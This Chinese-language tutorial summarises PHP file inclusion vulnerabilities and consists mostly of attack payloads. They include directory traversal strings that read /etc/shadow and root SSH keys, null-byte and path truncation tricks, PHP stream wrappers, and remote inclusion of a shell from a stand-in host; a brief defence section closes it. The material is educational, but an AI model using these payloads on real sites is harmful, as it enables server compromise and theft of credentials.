PHP 文件包含漏洞总结
前言
PHP 文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时, 由于传入的文件名没有经过合理的校验, 从而操作了预想之外的文件, 就可能导致意外的文件泄露甚至恶意的代码注入。
常见文件包含函数
- include(): 执行到 include 时才包含文件, 找不到被包含文件时只会产生警告, 脚本将继续执行
- require(): 只要程序一运行就包含文件, 找不到被包含的文件时会产生致命错误, 并停止脚本
- include_once()和require_once(): 若文件中代码已被包含则不会再次包含
利用条件
程序用 include() 等文件包含函数通过动态变量的范式引入需要包含的文件 用户能够控制该动态变量
注: PHP 中只要文件内容符合 PHP 语法规范, 包含时不管扩展名是什么都会被 PHP 解析, 若文件内容不符合 PHP 语法规范则会暴漏其源码。
漏洞危害
- 执行任意代码
- 包含恶意文件控制网站
- 甚至控制服务器
漏洞分类
- 本地文件包含: 可以包含本地文件, 在条件允许时甚至能执行代码
-- 上传图片马, 然后包含 -- 读敏感文件, 读 PHP 文件 -- 包含日志文件 GetShell -- 包含 /proc/self/envion 文件 GetShell -- 包含 data: 或 php://input 等伪协议 -- 若有 phpinfo 则可以包含临时文件
- 远程文件包含: 可以直接执行任意代码
-- 要保证 php.ini 中 allow_url_fopen 和 allow_url_include 要为 On
普通本地文件包含
<?php include("inc/" . $_GET['file']);?>
攻击方式
包含同目录下的文件
攻击方式
?file=.htaccess
目录遍历
攻击方式
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux 中这两个文件储存着所有文件的路径, 需要 root 权限)
包含错误日志
攻击方式
?file=../../../../../../../../../var/log/apache/error.log
获取 web 目录或者其他配置文件
攻击方式
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
包含上传的附件
攻击方式
?file=../attachment/media/xxx.file
读取 session 文件
攻击方式
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
(session 文件一般在 /tmp 目录下, 格式为 sess\_[your phpsessid value]
, 有时候也有可能在/var/lib/php5 之类的, 在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制 session 的值, 也许你能够获得一个 shell)
系统中重要文件(需要 root 权限)
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
有限制的本地文件包含
<?php include("inc/" . $_GET['file'] . ".htm");?>
攻击方式
%00 截断
攻击方式
?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off, PHP 小于 5.3.4 有效)
%00 截断目录遍历
攻击方式
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off, unix 文件系统, 比如 FreeBSD, OpenBSD, NetBSD, Solaris)
路径长度截断:
攻击方式
?file=../../../../../../../../../etc/passwd/././././././.[...]/./././././.
(php 版本小于 5.2.8(?)可以成功, linux 需要文件名长于 4096, windows 需要长于 256)
点号截断:
攻击方式
?file=../../../../../../../../../boot.ini/.........[...]............
(php 版本小于 5.2.8(?)可以成功, 只适用 windows, 点号需要长于 256)
普通远程文件包含
<?php include($_GET['file']);?>
攻击方式
远程代码执行:
攻击方式
?file=[http|https|ftp]://example.com/shell.txt
(需要 allow_url_fopen=On 并且 allow_url_include=On)
利用 php 流 input:
攻击方式
?file=php://input
(需要 allow_url_include=On)
利用 php 流 filter:
攻击方式
?file=php://filter/convert.base64-encode/resource=index.php
(需要 allow_url_include=On)
利用 data URIs:
攻击方式
?file=data://text/plain; base64, SSBsb3ZlIFBIUAo=
(需要 allow_url_include=On)
利用 XSS 执行任意代码:
攻击方式
?file=http://127.0.0.1/path/xss.php?xss=phpcode
(需要 allow_url_fopen=On, allow_url_include=On 并且防火墙或者白名单不允许访问外网时, 先在同站点找一个 XSS 漏洞, 包含这个页面, 就可以注入恶意代码了。条件非常极端和特殊- -)
有限制的远程文件包含
<?php include($_GET['file'] . ".htm");?>
攻击方式
?file=http://example.com/shell
?file=http://example.com/shell.txt?
?file=http://example.com/shell.txt%23
(需要 allow_url_fopen=On 并且 allow_url_include=On)
?file=\evilshare\shell.php (只需要 allow_url_include=On)
延伸
其实在前面也说了, 这些漏洞产生原因是 PHP 函数在引入文件时, 传入的文件名没有经过合理的校验, 从而操作了预想之外的文件。实际上我们操作文件的函数不只是 include()一个, 上面提到的一些截断的方法同样可以适用于以下函数:
- fopen
- file_get_contents
- copy
- parse_ini_file
- readfile
- file_put_contents
- mkdir
- tempnam
- move_uploaded_file
- rename
- unlink
- rmdir
- require
- require_once
- include_once
- ZipArchive::open()
漏洞防御
- PHP 中使用 open_basedir 配置, 将访问限制在指定区域
- 过滤
./\
- 禁止服务器远程文件包含